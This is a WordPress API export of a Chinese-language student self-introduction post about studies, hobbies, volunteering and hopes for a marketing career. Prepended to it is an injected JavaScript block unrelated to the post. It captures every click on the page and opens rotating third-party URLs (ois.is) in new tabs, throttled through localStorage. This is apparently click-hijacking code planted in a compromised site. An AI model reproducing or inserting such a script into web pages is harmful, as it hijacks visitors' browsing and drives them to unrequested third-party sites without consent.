<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":386,"date":"2014-05-10T22:22:19","date_gmt":"2014-05-10T14:22:19","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154232\/?p=386"},"modified":"2023-03-29T15:56:13","modified_gmt":"2023-03-29T07:56:13","slug":"%e8%87%aa%e6%88%91%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154232\/?p=386","title":{"rendered":"\u81ea\u6211\u4ecb\u7d39"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u4ecb\u7d39\u3011 <\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0;\">\u6211\u662f\u738b\u90c1\u5998\uff0c\u4e3b\u4fee\u570b\u969b\u8cbf\u6613\u5b78\u7cfb\uff0c\u96d6\u7136\u662f\u56db\u5e74\u7d1a\u7684\u5b78\u751f\uff0c\u4f46\u56e0\u70ba\u5c0d\u4eba\u751f\u898f\u756b\u5b89\u6392\uff0c\u9810\u8a08\u660e\u5e74\u7562\u696d<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u5b78\u7fd2\u7279\u8cea\u3011 <\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0; font-size: 12pt; line-height: 1.3em;\">\u7b97\u662f\u4e00\u500b\u81ea\u5f8b\u7684\u4eba\uff0c\u5225\u4eba\u8981\u6c42\u7684\u90fd\u6703\u76e1\u53ef\u80fd\u505a\u5230\uff0c\u4f46\u80fd\u4e0d\u80fd\u8d85\u51fa\u5225\u4eba\u671f\u671b\uff0c\u5c31\u53c8\u4e0d\u4e00\u5b9a\u4e86<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u6027\u683c\u4e0a\u7684\u512a\u52e2\u3011<\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #f0f0f0;\">\u6211\u52c7\u65bc\u5617\u8a66\u65b0\u7684\u4e8b\u7269\uff0c\u56e0\u6b64\u4fdd\u6709\u958b\u653e\u7684\u5fc3\u614b<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u8981\u6539\u5584\u7684\u5730\u65b9\u3011<\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #f0f0f0;\">\u5e38\u5e38\u5c0d\u4e8b\u60c5\u5f88\u6c92\u6709\u885d\u52c1\uff0c\u9664\u975e\u90a3\u4ef6\u4e8b\u6703\u4f7f\u6211\u5f8c\u6094\u81f3\u6975\u4e14\u4e00\u76f4\u60f3\u9054\u6210\u7684\u76ee\u6a19\uff0c\u6240\u4ee5\u5f88\u9700\u8981\u9f13\u52f5<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u4f11\u9592\u5a1b\u6a02\u3011<\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0;\">\u6211\u975e\u5e38\u559c\u6b61\u65c5\u884c\uff0c\u5f88\u5c11\u904b\u52d5\uff0c\u4f46\u5c0d\u6ed1\u96ea\u883b\u6709\u8208\u8da3\uff0c\u4e26\u8996\u8abf\u9152\u70ba\u85dd\u8853<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u793e\u5718\u7d93\u6b77\u3001\u8ab2\u5916\u6d3b\u52d5\u3011<\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0;\">\u56e0\u70ba\u5c0d\u5fd7\u9858\u6027\u670d\u52d9\u6709\u71b1\u5ff1\uff0c\u904e\u53bb\u53c3\u52a0\u904e\u57fa\u5c64\u670d\u52d9\u5718\u3001\u570b\u5916\u97f3\u6a02\u796d\u5fd7\u5de5\uff0c\u73fe\u65bc\u570b\u7acb\u53f0\u7063\u5716\u66f8\u9928\u670d\u52d9<\/span><br \/>\n<span style=\"color: #f0f0f0;\">\u4e5f\u53c3\u52a0\u4e0d\u5c11\u793e\u5718\u6216\u7d44\u7e54\uff0c\u5206\u5225\u662f\u57fa\u5c64\u670d\u52d9\u5718\u7f8e\u5ba3\u8cc7\u8a0a\u7d44\u3001CBS Food Hub\u884c\u92b7\u7d44\u3001Copenhagen Techlabs\u884c\u92b7\u7d44<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0;\">\u5c0d\u91d1\u878d\u4e26\u6c92\u6709\u5f88\u5927\u7684\u8208\u8da3\uff0c\u56e0\u6b64\u9084\u662f\u5e0c\u671b\u80fd\u8d70\u884c\u92b7\u76f8\u95dc\uff0c\u5c0d\u65bc\u4f7f\u7528\u8005\u8a2d\u8a08\u6216\u9ad4\u9a57\u9019\u584a\u4e5f\u5f88\u9858\u610f\u5617\u8a66\uff0c\u76ee\u524d\u6709\u521d\u6b65\u7684\u8a8d\u8b58<\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #a3d1d1;\"><strong>\u3010\u671f\u8a31\u3011<\/strong><\/span><\/p>\n<p><span style=\"color: #f0f0f0;\">\u5e0c\u671b\u5728\u4e94\u5e74\u5167\uff0c\u9084\u662f\u80fd\u6191\u8457\u81ea\u5df1\u7576\u521d\u5728\u7533\u8acb\u4ea4\u63db\u5b78\u751f\u7684\u90a3\u4efd\u885d\u52c1\u518d\u8fd4\u56de\u6b50\u6d32\u7559\u5b78\uff0c\u4e26\u627e\u5230\u5922\u5bd0\u4ee5\u6c42\u7684\u5de5\u4f5c<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u4ecb\u7d39\u3011 \u6211\u662f\u738b\u90c1\u5998\uff0c\u4e3b\u4fee\u570b\u969b\u8cbf\u6613\u5b78\u7cfb\uff0c\u96d6\u7136\u662f\u56db\u5e74\u7d1a\u7684\u5b78\u751f\uff0c\u4f46\u56e0\u70ba\u5c0d\u4eba\u751f\u898f\u756b\u5b89\u6392<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":21,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":964,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/964"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}